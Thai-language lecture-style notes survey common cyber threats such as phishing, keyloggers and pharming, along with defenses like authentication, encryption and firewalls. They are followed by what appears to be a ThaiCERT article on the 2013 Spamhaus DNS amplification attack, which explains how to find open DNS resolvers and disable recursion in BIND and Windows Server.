การตั้ง password ที่ปลอดภัย ควรตั้งโดยใช้จำนวนตัวอักษรหลายตัว เช่นสมัยปัจจุบันนี้ มีการตั้ง password ถึง 22 ตัวอักษร และการใช้ ตัวเลข ใช้สัญลักษณ์ และใช้ตัวอักษรเล็กใหญ่สลับกัน ควรเปลี่ยน password บ้างและไม่ควรเอาข้อมูลส่วนตัวเรามาตั้งเป็น password เพื่อเพิ่มความปลอดภัยอย่าเขียน password ใส่กระดาษ อย่าเก็บ password ไว้ใน browser ถ้าอยากจำ password ได้แม่นๆ ก็ต้องเข้าใช้ account นั้นบ่อยๆ และอย่าใช้ password เดียวกันกับทุกๆ account บางครั้ง hacker สร้างเว็บไซด์ปลอมให้เราลงทะเบียน ถ้าเราใช้ password ซ้ำๆกับทุกๆ account นั้น hacker ก็จะรู้หมด บางองค์กรที่ต้องการความปลอดภัยอย่างสูงก็จะหลีกเลี่ยงการใช้ password โดยให้ใช้ส่วนของร่างกายในการพิสูจน์ตัวบุคคลหรือใช้ smart card แทน
Sniffers
Sniffers คือ software ที่คล้ายๆเครื่องดักฟังโทรศัพท์ เป็นตัวดักจับข้อมูล hackers จะนำ Sniffers software มาใช้ในการดักจับข้อมูลที่ทำการส่งผ่านระบบเครือข่าย
Key logger
โปรแกรมนี้จะค่อนข้างอันตราย คือจะทำการบันทึกแป้นพิมพ์บนคีย์บอร์ดทั้งหมด หลังจากนั้นก็จะทำการส่งข้อมูลไปยังผู้ที่ลงโปรแกรมนี้ ได้อย่างอัตโนมัติเวลาเชื่อมต่อ internet ซึ่งหลักๆของโปรแกรมนี้จะใช้สำหรับผู้ปกครองที่ต้องการจะ monitor พฤติกรรมของลูกหลาน แต่ก็มีการเอาโปรแกรมนี้มาใช้ผิดๆ คือ ใช้ในการล้วงข้อมูลต่างๆ ปัจจุบัน Keylogger ก็ถือว่าเป็นความผิดทางกฎหมายรวมถึงกฎหมายในประเทศไทยด้วย
Phishing
ปัจจุบันมีมากที่สุดในประเทศไทย เป็นการปลอมแปลง E-mail หรือเว็บไซด์ จุดประสงค์หลักคือจะให้ผู้ใช้เปิดเผยข้อมูลส่วนตัว เช่น อีเมล์หลอกลวงจากมิจฉาชีพส่งถึง บุคคลทั่วไป โดยแจ้งว่าบัญชีของท่านมีปัญหา หรือธนาคารมีการพัฒนาระบบรักษาความปลอดภัยใหม่ และให้ท่านทำรายการ/แก้ ปัญหา โดยให้ท่าน Click Link ในอีเมล์ดังกล่าว ซึ่งจะเชื่อมต่อไปยังเว็บไซต์ปลอม (Phishing Website) ซึ่งมีลักษณะเหมือนกับหน้าจอ K-Cyber Banking ทุกประการ โดยเป็น URL ที่ไม่ใช่ของธนาคาร หรือชื่ออื่นๆ ที่อาจจะมีชื่อที่คล้ายคลึงกับ URL ของธนาคาร ปกติการทำ Phishing ก็จะมีการปลอมแปลงเว็บโดยเฉพาะผู้ใช้ที่ไม่ทันสังเกตว่า URL Domain ถูกต้องหรือเปล่า พอเราใส่ข้อมูลลงไปในเว็บ ปลอมนี้ ตัวข้อมูลก็จะไปยัง hacker โดยปกติ Phishing จะใช้จิตวิทยาในการหลอกผู้ใช้ให้หวาดกลัวว่าจะมีเหตุการณ์ใดๆเกิดขึ้น ถ้าไม่ทำตามขั้นตอนที่ให้มา
War Driving
การ Scan หาตำแหน่งของ Access Point ที่เปิดใช้ Wi-Fi อย่างไม่ระมัดระวังเรื่องความปลอดภัย เช่น มีการใช้ค่า Default SSID, ไม่มีการ FIX ค่า MAC Address และ ไม่มีการเข้ารหัสด้วย WEB key เป็นต้น ทำให้แฮกเกอร์สามารถเข้ามาใช้งานระบบ Wireless LAN ของเราได้อย่างง่ายดาย
Evil twin
การทำงาน hacker จะทำการสร้าง address point จากนั้นจะทำการล่อให้ผู้ใช้เข้ามาลงทะเบียน และก็ดักจับข้อมูลเราไป
Pharming
วิธีการคือ hacker จะเข้าไปเปลี่ยนค่า IP Address ถึงแม้ว่าผู้ใช้จะเข้า address ถูกต้องแต่มันก็จะทำการ redirect ไปยังอีกเว็บหนึ่ง เพื่อดักจับข้อมูลของเรา เป็นการกระทำผิดตามกฎหมาย
Click fraud
ใช้วิธีนี้ผ่านทาง search engine marketing ส่วนใหญ่เป็นการสร้างเว็บให้ผู้ใช้ตั้งใจเข้าไปทำธุรกรรม อาจเกิดจากคู่แข่งหรือเจ้าของเว็บที่ต้องการสร้างรายได้จากโฆษณา โดยเฉพาะเว็บที่มีโฆษณาปรากฏอยู่
Cyber-bullying
เป็นอีกหนึ่งอาชญากรรมที่ใช้บ่อยในวัยรุ่น คือ การแพร่กระจายข้อมูลให้บุคคลอื่นเสียชื่อเสียง โดยยิ่งเฉพาะในปัจจุบัน social media เป็นช่องทางที่ทำให้สิ่งเหล่านี้เกิดขึ้นได้ง่าย ในต่างประเทศมีแม้แต่เคสที่มีการฆ่าตัวตายแล้วนำไปเผยแพร่เป็นสิ่งที่พบเห็นได้ง่ายในปัจจุบัน
Social Engineering
เป็นอีกวิธีที่ hackers ใช้กัน คือ การสร้างความสัมพันธ์กับคนในองค์กรเพื่อให้คนในองค์กรเผยข้อมูลออกมาหรืออาจทำการปลอมแปลงตัวเองเข้าไป เช่น ในภาพยนตร์ต่างประเทศเรื่อง catch me if you can และมี ต.ย.ในประเทศอเมริกา มีเคสที่นักศึกษาปลอมตัวเป็นอาจารย์แล้วโทรไปบอกเจ้าหน้าที่ให้เปลี่ยนเกรด
Espionage or Trespass
เป็นวิธีการหนึ่งในการขโมยความลับทางการค้า ด้วยอุบาย โดยให้พนักงานทำทีว่าถูกไล่ออกจากบริษัท แล้วไปสมัครกับบริษัทเป้าหมาย แล้วขโมยความลับของบริษัทเป้าหมายมา
Identity Theft
Identity Theft คือ การขโมยข้อมูลส่วนบุคคล hackers จะนำเอาข้อมูลจากเหยื่อไปสร้าง identity ใหม่ เช่น การเอาไป apply credit card และเอาข้อมูลไปใช้แทนเหยื่อได้
Sabotage or Vanalism
Cyberactivist เป็นรูปแบบของการใช้เทคโนโลยีเพื่อที่จะไปทำการเปลี่ยนแปลงข้อมูลบนเว็บไซด์เพื่อที่จะทำให้องค์กรขายหน้า ในกรณีนี้ hackers ไปเปลี่ยนแปลงข้อความหน้าเว็บ มี ต.ย. เว็บที่โดนคือเว็บของกระทรวง ICT
Internet Hoaxes
หลายคนอาจบอกว่า Hoax ไม่ใช่ไวรัส แต่โดยวิธีการและการแพร่กระจายของ Hoax นี้อาจสรุปไดว่าเป็นไวรัสประเภทหนึ่ง ลักษระของไวรัส Hoax นี้จะมาในรูปแบบของ E-mail หลอกลวง โดยมีลักษณะคล้ายจดหมายลูกโซ่ โดยอาจผ่านทาง E-mail หรือทางห้องสนทนา (Chat Room) ซึ่งก่อนให้เกิดความสับสน วุ่นวาย ทั้งนี้ขึ้นกับความสามารถในการเขียนรูปแบบจดหมายให้ดูน่าสนใจ ตื้นเต้น ของผู้สร้างข่าวขึ้นมา โดยอาจมีการอ้างอิงถึงบริษัทใหญ่ๆ หรือที่มาที่ทำให้ผู้รับเชื่อถือ
Cyberwar
เป็นการกระทำของรัฐ-ชาติ เพื่อแทรกซึมไปยังระบบคอมพิวเตอร์หรือเครือข่าย มีจุดประสงค์เพื่อทำลายหรือสร้างความแตกแยก เป็นเหตุให้เกิดสงคราม ที่กลายเป็นเรื่องอันตรายต่อการปฏิบัติการทหาร ทั้งภาคพื้นดิน อากาศ ทะเล และทางอากาศ
Cyberterrorism
การใช้ internet เป็นเครื่องมือในการก่อการร้าย ประมาณว่าถ้ามีสงครามโลกครั้งที่ 3 จะเป็นสงครามที่อยู่บน online มากกว่า offline ซึ่งการก่อการร้ายในอนาคตอาจจะไม่มุ่งเน้นไปทางกายภาพ แต่อาจจะมุ่งเน้นไปในเชิงเศรษฐกิจ เช่นระบบการเงินการธนาคารที่มีการเชื่อมต่อกับ internet ซึ่งผลกระทบจากความเสียหายที่เกิดขึ้นจะสูงกว่า ซึ่งการทำ cyber war บางประเทศใช้ในการโจมตีระบบเครือข่ายของกันและกัน
Technological Safeguard
วิธีการที่จะป้องกันภัยคุกคามที่เกิดขึ้นกับไอที แรกสุดที่องค์กรต้องทำในเรื่องของการป้องกันความเสี่ยงคือ จะต้องมีการกำหนดหรือระบุผู้ที่มีสิทธิในการเข้าถึงข้อมูล แน่นอนว่าข้อมูลในองค์กรไม่ควรจะเป็นข้อมูลที่เปิดให้ทุกคนสามารถเข้าถึงได้
กระบวนการในการพิสูจน์ตัวบุคคลในระบบไอที
Authentication เป็นกระบวนการในการพิสูจน์ตัวบุคคล เป็นการกำหนดและระบุผู้มีสิทธิเข้าถึงข้อมูล และพิสูจน์ให้ได้ว่าเป็นผู้มีสิทธินั้นจริง มีอยู่ 3 รูปแบบหลักๆ คือ
• Something you have พิสูจน์จากสิ่งที่เรามี เช่น smart card
• Something you know พิสูจน์จากสิ่งที่เรารู้ เช่น password
• Something you are พิสูจน์จากสิ่งที่เราเป็น เช่น fingerprints, retina scan
Biometrics
คือ การใช้ส่วนต่างๆ ของร่างกายในการระบุตัวตน เช่น
• Fingerprints : ลายนิ้วมือ
• Retinal patterns : สแกนม่านตา
• Body weight : น้ำหนักตัว
• อื่นๆ
เป็นกระบวนการในการพิสูจน์ตัวบุคคลที่รวดเร็ว และมีความปลอดภัยสูง
Protecting a Wireless Network
ในเรื่องของ wireless ตรงนี้จะเป็นช่องโหว่ในเรื่องของความปลอดภัยค่อนข้างเยอะ เนื่องจากว่าข้อมูลถูกส่งผ่านทางอากาศ สามารถจะถูก interface ได้ง่ายกว่าในรูปแบบที่มีสาย ในส่วนของ wireless อย่างแรกสุด ควรจะมีการใช้ security protocol ในส่วนของ wifi ซึ่งในปัจจุบันก็ใช้มาตรฐานช่วยคือ WPA หรือ Wire protected access ตอนนี้มี version 2 แล้ว หลายคนไม่มีมาตรฐานตัวนี้ก็ทำให้คนอื่นเข้าไปใช้งานได้
อีกสิ่งหนึ่งที่สามารถจะลดความเสี่ยงในเรื่องของ wifi ได้ คือ ควรจะมีการระบุที่เครื่องคอมพิวเตอร์ที่สามารถเข้าถึง access point ได้ ที่สำคัญคือไม่ควรจะมีการ broadcast สัญญาณ wifi ถ้าในระดับบ้านอาจารย์แนะนำว่าเราควรจะเปลี่ยน password ในส่วนของ access point เวลาเราซื้อ access point มาจะมีซอง password ซึ่งเราควรต้องเปลี่ยนเพราะตอนซื้อ password จะมาพร้อมกับ manufacture หลายคนไม่เปลี่ยน password จะเป็นความเสี่ยงอย่างหนึ่ง
กระบวนการในการรักษาความลับของข้อมูล ระหว่างมีการนำส่ง ผ่านทางระบบเครือข่าย หรือระบบ internet กระบวนการนี้เราเรียก Encryption
Encryption
Encryption มีใช้มาตั้งแต่โบราณจนถึงปัจจุบันและบนระบบ internet ด้วย เป็นกระบวนการสร้างความลับของข้อมูลในระหว่างที่มีการนำส่ง หรือจะเรียกว่าการเข้ารหัสก็ได้ ซึ่งตรงกันข้ามกับ Decryption ตัวอย่างเช่น
ต้องการส่งข้อความว่า I love you ระบบจะทำการสร้างสิ่งที่เรียกว่า Algorithm โดยที่ใน Algorithm ก็จะมีการตกลงว่าถ้าเขียนคำว่า I ก็จะแทนด้วยเลข b, l แทนด้วย 7, o แทนด้วย e, v แทนด้วย d, e แทนด้วย c, y แทนด้วย 2, และ uแทนด้วย 9 เป็นต้น
คำว่า I love you เราเรียกว่าเพียร์เท็กซ์ คือกระบวนการที่ทุกคนจะสามารถอ่านออก จะสามารถรู้ได้ ด้านคนส่งและผู้รับปลายทางก็จะมีการแชร์สิ่งที่เรียกว่า Algorithm เข้าไป encryption หลังจาก encrypt แล้ว Algorithm ก็จะกลายเป็นรหัส 2ye75bx1 เป็นต้น รหัสนี้เราเรียกว่า cipher text หลังจากที่ใช้ Algorithm ในการ encrypt แล้ว คำว่า I love you ก็กลายเป็น cipher text แล้ว messenger ใส่เข้าไปในจดหมาย หาก messenger เปิดดู ก็ไม่สามารถอ่านได้ ไม่สามารถเข้าใจได้ว่ามันคืออะไร เพราะ Algorithm ถูกแชร์ระหว่างต้นทางและผู้รับปลายทางเท่านั้น messenger ก็ได้ cipher text ไป ระหว่างทางถ้ามีการปล้นเพื่อเปิดดูจดหมายก็จะไม่สามารถอ่านออกได้เพราะไม่รู้ว่า Algorithm คืออะไร ถ้าสมมุติว่า messenger อยู่รอดและสามารถจะส่งข้อความนี้ไปให้ผู้รับปลายทาง ข้อความที่เป็น cipher text ถึงมือผู้รับปลายทางก็จะนำ Algorithm ที่แชร์กับเจ้าชายไปผ่านกระบวนการที่เรียกว่า Decryption หลังจากที่ decrypt แล้ว cipher text ตัวนี้ก็กลายเป็นเพียร์เท็กซ์ ว่า I love you เหมือนเดิม ผู้รับปลายทางก็จะสามารถอ่านข้อความนี้ออก
Key แบ่งเป็น 2 ประเภท
1. Symmetric secret key system : ผู้ส่งและผู้รับใช้ key เดียวกัน แต่ข้อจำกัด คือ การจัดการกับ key เนื่องจากจำนวน key จะเยอะมาก
2. Public key technology : เป็น Asymmetric key system ซึ่ง ที่ใช้ private key 1 ตัว มาใช้ในการควบคุม public key หลายๆ ตัว
Firewall
Firewall เป็น hardware หรือ software ก็ได้ โดยส่วนใหญ่จะเป็น software หลักๆ ของ firewall ก็คือการทำ filter package ที่มีการนำเข้าและออก ระหว่างระบบเครือข่าย เช่น สามารถที่จะทำการ block application, block package ได้ เช่น ที่ทำงานบางคนสามารถใช้ MSN ได้ บางคนสามารถเข้าเว็บไซด์นั้นได้ แต่บางคนเข้าไม่ได้ เป็นต้น เพราะมันมีการตั้งค่า setting ไว้ใน firewall
Firewall เองก็มีหลายระดับ ขึ้นอยู่กับการให้ความสำคัญกับความปลอดภัยของแต่ละข้อมูลองค์กรถ้าเป็น firewall ใน intranet จะค่อนข้างมีกฎเกณฑ์ที่เข้มงวดหน่อยมากกว่าในส่วนของ web server
Antivirus software
เป็น Software ที่เก็บฐานข้อมูล virus code ซึ่งจะสแกนดูว่า match กับ virus signature หรือไม่ ถ้าพบว่า match หรือสแกนเจอก็จะลบไวรัสนั้นทิ้ง หรือแยกส่วนของไวรัสนั้นออกไปไม่นำมาประมวลผล ซึ่งควรจะมีการ up date virus signature ใน software อยู่เสมอ
Audit Control Software
Audit Control Software จะเกี่ยวข้องกับ มาตรา 26 เป็น softwareที่นำมาใช้ในการเก็บ log file ซึ่ง software นี้จะทำการ record activity ทั้งหลายที่เกิดขึ้นในระบบเครือข่าย หลายๆ องค์กร มีการเก็บสำรองข้อมูลที่เรียกว่าการทำ Back up ซึ่งเป็นการลดความเสี่ยง
Protecting information resource (Risk)
Risk คือ โอกาสที่ข้อมูลจะเกิดความเสียหาย
Risk management คือ การระบุ ควบคุม และการทำให้ความเสียหายที่อาจจะเกิดขึ้นนั้นน้อยลง
Risk analysis คือ การประเมินมูลค่าความเสียหาย เปรียบเทียบกับการประเมินมูลค่าของการป้องกันความเสียหาย
Risk assessment คือการประเมินความเสี่ยง ซึ่งมีอยู่ 4 ขั้นตอน
1. Exposure : การระบุความเสี่ยง
2. Probability : การระบุโอกาสที่จะเกิดความเสี่ยงนั้น
3. Loss range : การระบุค่าความเสียหายที่จะเกิดขึ้น
4. Expected annual loss : การคำนวณค่าความเสียหายที่อาจเกิดขึ้น
Risk analysis คือ การวิเคราะห์ค่าความเสี่ยงว่าคุ้มค่าต่อการลงทุนในการป้องกันความเสี่ยงนั้นๆ หรือไม่
1. Risk reduction ใช้เมื่อ cost of loss > cost of protection
2. Risk acceptance ใช้เมื่อ cost of loss < cost of protection
3. Risk transfer ใช้เมื่อ cost of loss > cost of transfer
Security triangle
ระบบที่มีความปลอดภัยสูง จะมีค่าใช้จ่ายก็สูงตาม
ระบบที่มีความปลอดภัยสูง จะมีความง่ายต่อการใช้งานก็น้อยลง
ดังนั้นองค์กรควรหาจุดสมดุลระหว่างความปลอดภัย ค่าใช้จ่าย และความง่ายต่อการใช้งาน

DDoS: DNS Amplification Attack


ตั้งแต่ช่วงกลางเดือนมีนาคม 2556 ที่ผ่านมา มีการรายงานข่าวใหญ่เกี่ยวกับระบบของหน่วยงาน Spamhaus Project ซึ่งเป็นหน่วยงานไม่แสวงหากำไร ที่มีภารกิจหลักในการจัดการปัญหาข้อมูลไม่พึงประสงค์บนอินเทอร์เน็ต โดยที่ระบบของ Spamhaus นั้นถูกโจมตีในรูปแบบ Distributed Denial-of-Service (DDoS) เป็นระยะ ๆ ส่งผลให้เว็บไซต์ spamhaus.org และบริการอีเมลของ Spamhaus ไม่สามารถใช้งานได้ชั่วขณะ จนถึงปัจจุบันยังไม่มีกลุ่มบุคคลใดออกมาประกาศว่าเป็นผู้อยู่เบื้องหลังการโจมตีในครั้งนี้ แต่มีการสันนิษฐานว่าเหตุการณ์ดังกล่าวอาจมีจุดเริ่มต้นมาจากเหตุขัดแย้งระหว่าง Spamhaus และ Cyberbunker ซึ่งเป็นผู้ให้บริการ Hosting ในประเทศเนเธอร์แลนด์ เมื่อ Spamhaus ทำการบล็อก IP address ของเซิร์ฟเวอร์ที่อยู่ภายใต้การดูแลของ Cyberbunker เนื่องจากสงสัยว่าเซิร์ฟเวอร์เหล่านั้นเป็นฐานในการส่งสแปม ทำให้เกิดการตอบโต้การกระทำดังกล่าว
เบื้องหลังของการโจมตี
สิ่งที่น่าสนใจเกี่ยวกับเหตุการณ์นี้ นอกจากจะเป็นหนึ่งในการโจมตีประเภท DDoS ที่รุนแรงที่สุดเท่าที่มีการค้นพบมาแล้ว ประเด็นเกี่ยวกับเทคนิคที่ใช้ในการโจมตีก็เป็นอีกสิ่งหนึ่งที่ควรนำมาเป็นกรณีศึกษา โดยพบว่าผู้ที่ทำการโจมตีในครั้งนี้ ใช้เทคนิคที่เรียกว่า DNS amplification attack (มีอีกชื่อหนึ่งว่า DNS reflection attack) ดังรูปที่ 1 ซึ่งเป็นวิธีการส่ง DNS request ไปยัง DNS resolver ที่ต่าง ๆ โดยปลอมแปลง IP address ต้นทางในแพ็คเก็ตเป็น IP address ของระบบเป้าหมาย ทำให้ DNS response ที่ตอบกลับมาจาก DNS resolver นั้น ถูกส่งไปยังระบบเป้าหมายแทนที่จะเป็นผู้โจมตี ยิ่งมีการส่ง DNS request ในทำนองนี้เป็นจำนวนมากเท่าใด ก็จะมี DNS response ตอบกลับไปยังระบบเป้าหมายมากยิ่งขึ้น จนกระทั่งถึงจุดหนึ่งที่ทำให้ Network bandwidth ของระบบเป้าหมายมีไม่เพียงพอต่อปริมาณข้อมูลจำนวนมากที่ได้รับ ส่งผลให้ระบบเป้าหมายไม่สามารถให้บริการกับผู้ใช้รายอื่น ๆ ได้
Pp2013te002-1.jpg
รูปที่ 1 รูปแบบโดยทั่วไปของการโจมตีด้วยเทคนิค DNS amplification attack
สาเหตุสำคัญที่ทำให้การโจมตีด้วยเทคนิคนี้มีประสิทธิภาพคือ ขนาดของ Response ที่มักใหญ่กว่า Request มาก โดย Request ที่ส่งไปยัง DNS resolver นั้น ถึงแม้ว่าจะมีขนาดข้อมูลโดยทั่วไปที่เล็กมากเพียงไม่กี่สิบไบต์ แต่ Response ที่ตอบกลับมาอาจมีขนาดใหญ่กว่า Request ที่ส่งไปถึงหลายสิบเท่าได้ ดังนั้นผู้โจมตีจึงไม่จำเป็นต้องมี Botnet [2] ขนาดใหญ่ไว้ในครอบครองเพื่อใช้สั่งการโจมตีระบบเป้าหมายพร้อม ๆ กัน ก็สามารถทำให้การโจมตีนั้นมีความรุนแรงอย่างมากได้ อย่างไรก็ตาม ต้นตอของปัญหาที่แท้จริงที่เอื้ออำนวยให้ผู้ไม่หวังดีสามารถใช้เทคนิคการโจมตีแบบ DNS amplification attack ได้ผลเป็นอย่างดีจนเป็นที่นิยมในปัจจุบันนั้นคือ Open DNS resolver ซึ่งหมายถึงเซิร์ฟเวอร์หรืออุปกรณ์เครือข่ายใด ๆ ก็ตามที่เปิดให้บริการ DNS และมีการตั้งค่าอย่างไม่เหมาะสม โดยอนุญาตให้ผู้บุคคลทั่วไปสามารถใช้บริการได้ แทนที่จะจำกัดการใช้งานให้เฉพาะกับผู้ที่ได้รับอนุญาต ผู้ไม่หวังดีจึงสามารถค้นหา Open DNS resolver ที่มีอยู่ทั่วไปในอินเทอร์เน็ต และใช้ประโยชน์จากมันในการโจมตีระบบอื่น ๆ ด้วยเทคนิคดังกล่าวได้อย่างง่ายดาย
Pp2013te002-2.jpg
รูปที่ 2 จำนวน IP address ที่ไม่ซ้ำของ Open DNS resolver ที่ไทยเซิร์ตได้รับรายงานในแต่ละเดือน ระหว่างเดือน ก.ย. 2555 ถึงเดือน มี.ค. 2556
จากข้อมูลที่ไทยเซิร์ตได้รับรายงานจากหน่วยงานต่างประเทศตั้งแต่เดือนกันยายน 2555 จนถึงเดือนมีนาคม 2556 พบว่ามีจำนวน IP address ของ Open DNS resolver ที่อยู่ในประเทศไทยเฉลี่ยประมาณวันละ 1,000 หมายเลข และมีจำนวน IP address ที่ไม่ซ้ำรวมกันสูงถึงหลักหมื่นต่อเดือนดังรูปที่ 2 ส่วนรายงานผลการสำรวจของเว็บไซต์ dns.measurement-factory.com เมื่อวันที่ 16 เมษายน 2556 [3] พบว่า จำนวน Open DNS resolver ที่อยู่ภายใต้การดูแลของหน่วยงานในประเทศไทยมีจำนวน 947 หมายเลขจาก 59 หน่วยงานซึ่งประกอบไปด้วยผู้ให้บริการอินเทอร์เน็ต หน่วยงานภาครัฐและเอกชน และสถาบันการศึกษา ในขณะที่ CloudFlare ผู้ที่ให้บริการ Content Delivery Network (CDN) กับ Spamhaus ได้ตรวจสอบการโจมตีที่เกิดขึ้นกับ Spamhaus และพบว่า Open DNS resolver ในประเทศไทยที่ถูกใช้เป็นฐานในการโจมตีระบบของ Spamhaus มีจำนวนทั้งสิ้นถึง 898 หมายเลข [4] ทำให้สามารถสันนิษฐานในเบื้องต้นได้ว่า Open DNS resolver ส่วนใหญ่ในประเทศไทยนั้นถูกผู้ไม่หวังดีนำไปใช้เป็นเครื่องมือในการโจมตีผู้อื่นแล้ว ดังนั้นปัญหาที่เกิดจากการตั้งค่าบริการ DNS ที่ไม่เหมาะสมนั้น ถือเป็นเรื่องสำคัญที่ควรดำเนินการแก้ไขอย่างเร่งด่วน
การตรวจสอบหา Open DNS resolver
วิธีการตรวจสอบเบื้องต้นว่ามีอุปกรณ์ในเครือข่ายของตนที่เป็น Open DNS resolver หรือไม่ สามารถตรวจสอบได้จากหลากหลายเว็บไซต์ดังนี้
1. ตรวจสอบจากเว็บไซต์ openresolverproject.org
สามารถตรวจสอบได้โดยการระบุ IP subnet ที่ต้องการตรวจสอบในหน้าเว็บหลัก หากมี IP address ใดที่ถูกพิจารณาว่าเป็นหมายเลขของอุปกรณ์ที่มีลักษณะเป็น Open DNS resolver หมายเลขดังกล่าวก็จะปรากฏอยู่ในตารางผลลัพธ์ดังรูปที่ 3
Pp2013te002-3.jpg
รูปที่ 3 ผลลัพธ์ที่ได้จากการค้นหา Open DNS resolver จาก IP subnet ที่ระบุ
2. ตรวจสอบจากเว็บไซต์ dns.measurement-factory.com
เว็บไซต์ dns.measurement-factory.com นอกจากจะมีรายงานผลการสำรวจของ Open DNS resolver แล้ว ยังเปิดบริการให้กับบุคคลทั่วไปสามารถตรวจสอบหา Open DNS resolver ได้อีกหลายช่องทาง โดยช่องทางแรกของเว็บไซต์นี้เป็นการตรวจสอบหาว่า IP address ใดบ้างที่ถูกพิจารณาว่าเป็น Open DNS resolver [6] เริ่มจากการระบุ IP address หรือ IP subnet ที่ต้องการตรวจสอบ จากนั้นเว็บไซต์จะขึ้นรายการอีเมลที่ต้องการรับผลการตรวจสอบ ซึ่งอีเมลเหล่านี้จะได้มาจากข้อมูลที่ระบุไว้ใน Whois record ของ IP address หรือ IP subnet ที่ทำการตรวจสอบ เมื่อเลือกอีเมลที่ต้องการแล้วจะพบกับหน้าต่างยืนยันการส่งผลการตรวจสอบ ดังรูปที่ 4
Pp2013te002-4.jpg
รูปที่ 4 หน้าต่างยืนยันการส่งผลการตรวจสอบไปยังอีเมลที่เลือกไว้
อีกช่องทางหนึ่งของเว็บไซต์ dns.measurement-factory.com เป็นการตรวจสอบหา Open DNS resolver จากรายการของ IP address [7] โดยหลังจากที่ระบุรายการของ IP address ที่ต้องการตรวจสอบแล้ว จะได้ผลลัพธ์แสดงทางหน้าเว็บไซต์ หากผลลัพธ์ในคอลัมน์ Status เป็น open แสดงว่าเครื่องที่มี IP address ดังกล่าวเข้าข่ายที่จะเป็น Open DNS resolver ดังรูปที่ 5
Pp2013te002-5.jpg
รูปที่ 5 หน้าต่างแสดงผลลัพธ์ของการตรวจสอบบนเว็บไซต์
3. ตรวจสอบจากเว็บไซต์ dnsinspect.com
เป็นเว็บไซต์หนึ่งที่ใช้สำหรับตรวจสอบการทำงานของ DNS server อย่างละเอียด โดยเมื่อระบุโดเมนเนมผ่านทางหน้าเว็บหลักแล้ว เว็บไซต์ดังกล่าวจะประมวลผลและจัดทำรายงานแสดงผลการตรวจสอบในแต่ละส่วน ซึ่งรวมถึงส่วนที่ตรวจสอบว่า DNS server อนุญาตให้ทำการ Query แบบ Recursive ได้หรือไม่ดังรูปที่ 6
Pp2013te002-6.jpg
รูปที่ 6 ส่วนหนึ่งของรายงานผลการตรวจสอบที่ได้จากเว็บไซต์ dnsinspect.com
นอกจากการตรวจสอบด้วยตนเองจากเว็บไซต์ต่าง ๆ แล้ว Team Cymru ซึ่งเป็นหน่วยงานวิจัยทางด้าน Information security ยังเปิดบริการให้กับผู้ดูแลระบบสามารถขอรับรายงานประจำวันของ Open DNS resolver ที่อยู่ภายในเครือข่ายของตนได้อีกด้วย
การแก้ไขการตั้งค่าของ DNS server
สำหรับวิธีแก้ไขการตั้งค่า DNS server เพื่อป้องกันไม่ให้ถูกนำไปใช้ในทางที่ไม่ดี และบรรเทาความเสียหายที่เกิดจากการโจมตีในเบื้องต้นนั้น มีอยู่ด้วยกันหลายแนวทางดังที่จะกล่าวต่อไปนี้
BIND เวอร์ชัน 9 ขึ้นไป
ในกรณีของ DNS server ที่ตั้งอยู่ในระบบขององค์กรที่ทำหน้าที่เป็น Caching name server ให้จำกัดการอนุญาตการทำ Recursion เฉพาะ Request ที่ส่งมาจากกลุ่มผู้ใช้ในระบบเครือข่ายเดียวกัน โดยมีตัวอย่างการตั้งค่าดังรูปที่ 7
Pp2013te002-7.jpg
รูปที่ 7 ตัวอย่างการตั้งค่าเพื่อจำกัดการอนุญาตการทำ Recursion ในโปรแกรม BIND
จากรูปที่ 7 ในส่วนของ acl จะมีการสร้างรายการที่ชื่อว่า trustednet ซึ่งประกอบไปด้วย IP subnet ของเครือข่ายภายใน (ในที่นี้คือ 10.10.1.0/24 และ 10.10.2.0/24) และในของ view เป็นการเพิ่มเงื่อนไขให้ IP subnet ในรายการดังกล่าวสามารถทำ Recursion ได้ ส่วน IP address หรือ IP subnet อื่น ๆ นอกเหนือจากที่ระบุไว้จะไม่สามารถทำการ Query ใด ๆ ได้ดังที่ระบุในส่วนของ options สำหรับการตั้งค่าจริงนั้น ผู้ดูแลระบบสามารถเพิ่มการตั้งค่าลงในไฟล์ named.conf โดยใช้ตัวอย่างจากรูปที่ 7 ได้เลย เพียงแค่เปลี่ยนค่าในส่วนของ acl ให้เป็น IP address, IP subnet หรือชื่อของ acl รายการอื่นที่เป็นของระบบเครือข่ายภายในเท่านั้น
สำหรับกรณีที่ DNS server ทำหน้าที่เป็น Authoritative name server ให้เพิ่มการตั้งค่าในไฟล์ named.conf เพื่อปิดการทำงาน Recursion ดังรูปที่ 8
Pp2013te002-8.jpg
รูปที่ 8 ตัวอย่างการตั้งค่าเพื่อปิดการทำงาน Recursion ในโปรแกรม BIND
ทั้งนี้ผู้อ่านสามารถศึกษารายละเอียดเพิ่มเติมเกี่ยวกับแนวทางการตั้งค่าในโปรแกรม BIND ให้มีความมั่นคงปลอดภัยได้จากเอกสารของ Team Cymru [10]
Windows Server 2003 ขึ้นไป
ในการตั้งค่าเพื่อปิดการทำงาน Recursion ผ่านทาง GUI นั้น มีขั้นตอนดังต่อไปนี้
เปิดโปรแกรม DNS Manager โดยไปที่ Start > All Programs > Administrative Tools > DNS
คลิกขวาบนเซิร์ฟเวอร์ที่ต้องการแล้วเลือก Properties
ในหน้าต่างใหม่ เลือกแท็บ Advanced แล้วติ๊กเครื่องหมายถูกที่รายการ Disable recursion (also disables forwarders) แล้วคลิก Apply ดังรูปที่ 9
Pp2013te002-9.jpg
รูปที่ 9 ตัวอย่างการตั้งค่าเพื่อปิดการทำงาน Recursion บน Windows Server
สำหรับการตั้งค่าเพื่อปิดการทำงาน Recursion ผ่านทาง Command-line สามารถทำได้ผ่านโปรแกรม Command Prompt โดยใช้คำสั่ง dnscmd ดังรูปแบบต่อไปนี้
dnscmd <ip-address>|<hostname> /Config /NoRecursion {0|1}
โดย Parameter ตัวแรกหลังจากคำสั่ง dnscmd ให้ระบุ IP address หรือ Hostname ของ DNS server ส่วน Parameter ตัวสุดท้ายให้ระบุเป็นเลข 0 หรือ 1 โดยเลข 0 หมายถึงเปิดการทำงาน Recursion ส่วนเลข 1 หมายถึงปิดการทำงาน Recursion เมื่อใช้คำสั่งดังกล่าวจะได้ผลลัพธ์ดังรูปที่ 10
Pp2013te002-10.jpg
รูปที่ 10 ตัวอย่างผลลัพธ์ที่ได้จากการใช้คำสั่ง dnscmd
